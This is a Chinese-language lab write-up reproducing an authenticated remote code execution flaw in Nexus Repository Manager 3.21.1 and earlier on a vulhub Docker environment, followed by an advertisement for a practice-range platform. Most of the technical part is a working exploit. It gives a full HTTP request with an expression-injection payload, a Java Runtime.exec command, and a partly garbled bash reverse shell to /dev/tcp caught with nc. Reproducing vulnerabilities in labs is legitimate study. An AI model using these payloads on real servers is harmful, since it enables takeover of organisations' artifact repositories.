0x00 简介
nexus的全称是Nexus Repository Manager，是Sonatype公司的一个产品。它是一个强大的仓库管理器，极大地简化了内部仓库的维护和外部仓库的访问。
主要用它来搭建公司内部的maven私服。但是它的功能不仅仅是创建maven私有仓库这么简单，还可以作为nuget、docker、npm、bower、pypi、rubygems、git lfs、yum、go、apt等的私有仓库，功能非常强大。
0x01漏洞概述
在 Nexus Repository Manager OSS/Pro 3.21.1 及之前的版本中，由于某处功能安全处理不当，导致经过授权认证的攻击者，可以在远程通过构造恶意的 HTTP 请求，在服务端执行任意恶意代码，获取系统权限。此漏洞的利用需要攻击者具备任意类型的账号权限。
0x02影响版本
Nexus Repository Manager OSS/Pro 3.x <= 3.21.1
0x03环境搭建
1、本次漏洞环境使用vulhub搭建，在有docker环境的虚拟机中下载
git clone https://github.com/vulhub/vulhub.git
2、进入漏洞目录，执行docker-compose up -d 命令拉取漏洞环境
3、看到绿色的done表示拉取成功，在浏览器访问http://your-ip:8081查看页面
0x04漏洞复现
1、首先使用账号密码admin/admin登录后台
2、登录后使用f12找到cookie复制当前的csrf-Token
3、使用burp进行抓包，替换以下数据包，然后把自己的cookie和csrf-Token粘贴上去，然后发包即可看到执行了9*9
POST /service/rest/beta/repositories/go/group HTTP/1.1
Host: 172.16.1.147:8081
Content-Length: 203
X-Requested-With: XMLHttpRequest
X-Nexus-UI: true
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
NX-ANTI-CSRF-TOKEN: 0.16290768329434402
Content-Type: application/json
Accept: */*
Origin: http://172.16.1.147:8081
Referer: http://172.16.1.147:8081/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: NX-ANTI-CSRF-TOKEN=0.16290768329434402; NXSESSIONID=69d8dc11-45ac-44b6-aa68-65ca1d6b68ff
Connection: close
{
"name": "internal",
"online": true,
"storage": {
"blobStoreName": "default",
"strictContentTypeValidation": true
},
"group": {
"memberNames": ["$\\A{9*9}"]
}
}
4、把执行9*9修改为创建一个文件，进入docker中查看创建成功
$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch /tmp/success')}
5、执行反弹shell把执行写入文件的payload修改成反弹shell的命令，使用nc进行监听，点击发送查看nc的监听看到返回了shell
“KaTeX parse error: Expected '}', got 'EOF' at end of input: …in/bash -c bashIFS$9-i>&/dev/tcp/ip/port<&1’)}”
0x05修复建议
1、官方已发布新版本修复了该漏洞，建议升级至最新版本
参考链接：https://mp.weixin.qq.com/s/CAtsX3yP81mULbMDTo0J1A
在这里，给大家介绍一下“东塔攻防世界靶场”
2020年12月，东塔攻防世界靶场正式对外提供注册，各位小伙伴可通过注册后进行体验。新注册用户可获得一定的积分，对于靶场使用获取正确的Key后，也可以获取一定的经验值，经验值根据排名会不定期给予一定的奖励。
并且，在操作过程中，针对出现的Bug和安全漏洞问题可以和塔塔子提出，审核通过后可以获得相应的奖励积分。
东塔攻防世界网站不定时推出可免费限时使用的靶场，具体可关注东塔网络安全学院推出的一系列活动或添加东塔客服了解详情。
东塔攻防世界靶场主要分为在线靶场和职业体系两大特色板块。且平台内的靶场会定期更新内容，尤其是最新漏洞复现的一些文章和靶场，会优先在靶场中提供环境让大家体验。
东塔攻防世界网站会不定期限时免费推出最新的一些复现的靶场，以供学习交流，给了大家充分体验和使用靶场的机会。
具体可关注东塔网络安全学院推出的一系列活动或添加东塔客服wx（dongtakefu）了解详情。
除了以上介绍的内容，还有更多宝藏区域，更强大的功能，等你来寻宝！
详戳下方“东塔攻防世界靶场”网址，Get一波新世界
https://labs.do-ta.com
转载：https://blog.csdn.net/m0_48520508/article/details/114281962